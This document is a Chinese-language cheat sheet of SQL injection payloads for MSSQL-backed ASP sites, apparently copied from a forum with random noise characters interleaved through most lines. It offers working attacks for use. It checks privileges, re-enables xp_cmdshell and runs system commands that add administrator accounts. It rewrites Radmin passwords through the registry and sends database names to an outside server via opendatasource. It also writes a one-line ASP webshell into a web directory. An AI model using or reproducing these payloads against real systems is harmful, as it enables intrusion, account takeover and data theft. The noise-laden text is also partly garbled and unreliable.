阿D常用的一些注入命令% ]6 U3 X$ ]7 e8 ?+ ^; h2 X
//看看是什么权限的' j8 s5 f" W G3 M% W: [9 X. q
and 1=(Select IS_MEMBER('db_owner'))
: A" t% a& e" }" L& _; tAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--# I8 x3 u. I! F3 w0 T) ^# y
+ R, Y1 q2 ^/ m1 J1 @
//检测是否有读取某数据库的权限, A' \0 u2 P& y' `
and 1= (Select HAS_DBACCESS('master'))2 P1 C# T2 w. A! q" |+ E z
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 D' b) T- B" v% l" @9 U) g0 I8 _$ c0 U
$ ?7 V5 r9 Q$ d$ P: ?1 A* K) k( r数字类型
6 L% C* g- D+ P- P5 O" X& S& Zand char(124)%2Buser%2Bchar(124)=0
3 a! O& q6 D& S5 f7 }: l+ x% z3 n/ O+ W. A% ]4 P
字符类型
+ U7 m1 p o! |) V" L& ?" [% @' and char(124)%2Buser%2Bchar(124)=0 and ''='
2 ?2 c/ T& S( V) [ R i0 _. f3 z8 q3 r/ G1 M
搜索类型- y1 o( H% i$ ^3 Z
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
0 y$ G" }* Q6 M8 Y1 k+ [( i* r& J+ f# j0 z* y; _ S* t
爆用户名
3 ?: x! ]# o- W2 p; d- t% qand user>0
& z/ `+ W. S2 L& D+ ]' and user>0 and ''=') d3 Q6 g7 t/ h- z* A
1 N2 n8 j( a) Y( [' Y, j0 z
检测是否为SA权限% w0 j3 ~, X! H& d: R: O+ v
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--& @; S9 J4 a: t
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
' s8 o# {, X+ Q; e$ C7 ]1 U# q$ n% q1 m9 v# d
检测是不是MSSQL数据库
( T) g; u+ o0 _8 e, n& i9 band exists (select * from sysobjects);-- 3 d1 J1 t9 Q2 Z- r
7 q d6 l$ I* w4 ^2 y& m
检测是否支持多行) P8 d1 A" X- X. I, U
;declare @d int;--
0 I4 A/ T+ t; L( E8 ?1 S2 n# Z. G2 V4 B( _( i
恢复 xp_cmdshell% a* ?, x4 @% [3 n0 s
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--5 ?, Q W" m# L6 ]. V: `
2 Q- F6 B# i. e/ R) | m
3 N" w. l1 p" q, o% X/ @select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 3 e5 J" u& {( |1 G$ @8 Y) J
3 t& m9 R6 q+ G# p1 r//-----------------------4 P9 P! s& c& Z. B* r
// 执行命令
& U: c/ ^9 W9 r9 X Z//-----------------------+ \: h$ q: o$ A
首先开启沙盘模式:0 w5 Q9 Q: H& U& ^
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 w5 E, D% d$ |7 `: _( S
! Z) I) ^" c6 F5 ~) R然后利用jet.oledb执行系统命令
+ \* ~4 h3 B" J& [% E1 G& Qselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
6 P* _. S; F0 I$ `5 C2 V
8 A0 Y& h( m" F* N0 q' V执行命令1 ]% u" I: o8 j6 z! ~7 N6 O) Z& F; ~
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
* G& k* ] q* b3 z6 l/ e' y
2 g5 ^' W- Y% n5 R M( @, oEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'+ ?5 g- \7 r. {
0 O# [! a8 }; h! W7 P2 f判断xp_cmdshell扩展存储过程是否存在:6 d9 b+ {4 A" i4 ]& r
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 |$ s5 m7 F% e/ u/ S8 C7 H. Z# L3 |7 o2 g+ j9 p, K8 w
写注册表
9 F+ S2 W& U. d( r4 P* W; c eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
$ q4 |. f0 q# _; }6 m6 L, W6 R5 C' i. m* A
REG_SZ! |0 |) g5 ?- n* x
( D2 U. R5 i7 Z7 \% P读注册表
& n' t4 U1 T" m) l' a& h: m$ F2 cexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
) w& |5 A, E2 E% C' q" l* v. ?1 H6 |' l1 l, K4 Y% C
读取目录内容
1 m, r9 V9 {0 s1 @exec master..xp_dirtree 'c:\winnt\system32\',1,1. ^. ~' N" N; h/ ^
/ f3 T6 Z3 L( T, L& q E$ K. k0 ]7 G R+ P1 f
数据库备份$ k. t( K4 a( M. \8 \
backup database pubs to disk = 'c:\123.bak'
0 B+ J- M/ ]/ k5 ~
4 }1 k6 A! ~. Q//爆出长度
( M+ ~# w& ?$ U8 l3 f3 j( ?And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
, X# y+ C( u4 S+ u4 ]+ t8 | i4 U# y
9 q( B, s2 \' _, A3 M5 j4 }$ ~7 h0 P- E9 }1 a
更改sa口令方法:用sql综合利用工具连接后,执行命令:6 n: y# `, W7 K: G! {; C
exec sp_password NULL,'新密码','sa'9 s1 E j/ G8 S
" @/ r. A! x# V& ~$ a' [
添加和删除一个SA权限的用户test:9 E7 W& B6 v0 H: _
exec master.dbo.sp_addlogin test,ptlove
6 z" z% d5 o0 |% H# P+ rexec master.dbo.sp_addsrvrolemember test,sysadmin
5 L+ s5 S0 B, j1 U$ ~
' P( S+ e* R; D5 Q6 Y) E删除扩展存储过过程xp_cmdshell的语句:
9 ]) e z3 I7 p1 Zexec sp_dropextendedproc 'xp_cmdshell'+ g; _+ l: d& t; m! a" U* V
; [, s* w* W0 f Q" M' \添加扩展存储过过程
" e. E0 h% S2 w* k# ^- {EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' ' {0 r7 _) |; A- n
GRANT exec On xp_proxiedadata TO public + z/ h9 Q+ Y" S) a
* O3 j- I: @7 D0 z8 j
/ w9 S7 P3 o. x" w( G* y0 b i停掉或激活某个服务。 ! _4 @ i, ?& b& t7 P$ y, m
% M% X% F4 s" E
exec master..xp_servicecontrol 'stop','schedule'4 p% c1 i. {' z
exec master..xp_servicecontrol 'start','schedule'0 T$ K( m0 n0 p/ V5 ~
& s( N8 J( r# Y! j
dbo.xp_subdirs- W9 c, n. i! p3 }
" n! v% L. ]) E, o& Y! \' d6 |+ p只列某个目录下的子目录。% B2 ^6 G7 s0 \+ H
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'8 s5 _2 p2 M! X0 o' n( }8 g
8 w- B0 v( @9 I' c4 r7 V2 k1 |$ e8 j
dbo.xp_makecab
# B, B! e9 z* J, L, ~$ a- y3 Y# O6 U
将目标多个档案压缩到某个目标档案之内。
* i4 l1 j2 l% h' Y: X& b3 h* K* Q所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
6 P# B- \) S, e$ ]0 K! D: r) i) A& X9 ]
dbo.xp_makecab; i$ j1 u# W) H6 L* g1 A
'c:\test.cab','mszip',1,2 w6 n" A; s4 |8 w/ [
'C:\Inetpub\wwwroot\SQLInject\login.asp',
9 V, r* M- \ W$ a6 q8 M2 u'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'5 T) n$ F) U9 r- X3 N, e/ i e
" q- D% k! }, ]! m4 W" kxp_terminate_process. `% h" |! N: Y- x$ J
/ q* B% u& m6 ^
停掉某个执行中的程序,但赋予的参数是 Process ID。6 X, o, f8 v; r1 `, ?" y7 D1 d/ {
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
: j) a( A( t- r
2 i! v5 T- L5 j. @- [& `% ]xp_terminate_process 24841 |& E3 Y( s. B: T5 Z
* J( x% _) M( H X/ vxp_unpackcab0 ]2 H/ ^. b6 |' J. `: p
9 g4 W$ U6 |# d9 a; h' E7 c/ ]解开压缩档。) b; a! E2 r. c" Z' U3 o& t4 k
W, q" y0 k+ D4 O/ pxp_unpackcab 'c:\test.cab','c:\temp',1
# v2 e) x# K7 n6 W
4 m$ Q2 o0 d+ j2 I% s9 z$ L% q
! o8 f3 ]7 t# M; r7 F0 O' K某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234# `) R/ F1 l. O- n5 a
( D& N: I. ], M3 s' b t
create database lcx;
* {$ f- ^# I: F; S2 j0 {1 sCreate TABLE ku(name nvarchar(256) null);
# H* E+ c' H* I+ }Create TABLE biao(id int NULL,name nvarchar(256) null);( V6 S* ]5 F1 l' W. c
H* j i) x0 @1 ?4 d9 @1 U5 w
//得到数据库名) q K/ l: t0 T5 E& q8 J% A
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases6 x" _/ z3 W+ e# z1 O
+ g N8 H& y" q {& p
, e1 K9 X% s& x. F7 E6 [//在Master中创建表,看看权限怎样' R7 r3 Z3 n7 L/ p6 ~. _- q
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--. j, E/ `& n, b8 T( Y, a
2 l) O1 {7 s9 _+ S用 sp_makewebtask直接在web目录里写入一句话马:# I3 g* k: l# o/ D5 q" B
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
2 Z& E8 J6 j+ |, X& C: P) J6 ^" w0 F5 `1 h
//更新表内容
& }& E7 d. ]1 L" C% hUpdate films SET kind = 'Dramatic' Where id = 123" `; i7 }9 ^, F i" N: }& ?
# c/ _: y. `/ {( ]/ k" ?3 {//删除内容
. ]( `! e" C( x( J) o& Xdelete from table_name where Stockid = 3 |